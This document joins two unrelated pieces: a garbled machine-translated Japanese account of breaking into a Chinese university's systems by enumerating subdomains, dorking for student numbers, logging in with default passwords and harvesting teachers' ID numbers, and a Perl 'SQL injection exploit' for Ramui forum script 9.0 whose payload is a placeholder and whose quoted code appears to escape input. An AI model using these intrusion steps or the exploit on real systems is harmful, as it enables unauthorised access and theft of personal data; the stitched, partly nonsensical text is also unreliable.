1。情報収集サブドメイン名:FOFA(host='xxxx.edu.cn')ポートコレクション:Yujianスキャンツール、ウェブサイトは、逆プロキシポートを使用してポート443または80のみを使用して、ネットワークを出て敏感な情報を収集することができます。 Baidu Network Disk and Tencent Network Disk)3。Googハック学生番号を収集する番号:site3:xxx.cn学生番号ログイン:site:xxx.edu.cn inurl3360loginまたはsite:xxx.edu.edu.edu.edu.edu.cn intitle:log in subage cotain in homepain in homepain in homepain in to homepaint in home poight of of of of offution 3.統一された認証プラットフォームが作業番号とIDカードを使用し、作業番号とIDカードの後に6桁にログインしていることを発見します。資産と実験室のプラットフォームが、ユーザー名とパスワードとして作業番号を使用していることを発見します。ここでは、弱いパスワード管理者と管理者を介してシステムを入力して教師の作業番号を取得できます。システムには、WAF 5で傍受されます。コース選択センター、アカウント、パスワードの両方が生徒数と教師の作業番号であることを発見します。システムのファイルアップロードもWAFによって傍受されます。 6.大学院管理システム、学生支払いクエリシステム、Financial XXシステムなどのその他のシステムには、すべてのアカウントとパスワードがあります。それらはすべて、作業番号があり、システムに入ることができます。教師のアカウントにバインドされたID番号を収集できます。 7.教師のアカウントとID番号を取得し、統一された認証プラットフォームを入力します。寮管理システムにログインできます(最初に統一認証システムにログインする必要がある前提条件)8。
# Title: Ramui forum script 9.0 SQL Injection Exploit
# Author: bd0rk
# Twitter: twitter.com/bd0rk
# Vendor: http://www.ramui.com/
# Download: http://ramui.com/forum-script/download-v9.html
# Google-Dork: n/a --->Script-Kiddie protection! :)
# Direct SQL-Path: n/a --->Script-Kiddie protection! :)
# Description: I've found a sql-injection vulnerability in this web-software.
# The vulnerable code is in /gb/include/page.php
# The problem is the GET-pagename.
# An attacker can use this exploitcode for unfiltered sql-queries.
# Vuln-Code in /gb/include/page.php:
#************************************************************************************************************************************
# <?php
# if(isset($_GET['pagename'])){
# $name=$_GET['pagename'];
# $query=sprintf("SELECT* FROM ".PREFIX."page WHERE pagename = '%s' AND publish = 'Y'",$xx_con->real_escape_string($name));
# }
#************************************************************************************************************************************
# [+]PERL-EXPLOITCODE(Copy&Paste):
#!/usr/bin/perl
print q{
++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ +
+ Ramui forum script 9.0 SQL Injection Exploit +
+ +
+ bd0rk || SOH-Crew +
+ +
+ Greetings from cold Germany +
+ +
++++++++++++++++++++++++++++++++++++++++++++++++++++++
};
use IO::Socket;
print q{
=> Insert URL
=> without ( http )
=> };
$server = <STDIN>;
chop ($server);
print q{
=> Insert directory
=> es: /forum/ - /ramui/
=> };
$dir = <STDIN>;
chop ($dir);
print q{
=> User ID
=> Number:
=> };
$user = <STDIN>;
chop ($user);
if (!$ARGV[2]) {
}
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "gb/include/page.php?pagename=[sqlInjectionCodeHERE]".$user ;
print "
=> Exploit in process...\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "Exploit failed";
print "Exploit\r\n";
print "in process...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "Exploit finished!\r\n\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "MD5-Hash is: ".$1."\r\n";
}
exit();
}
}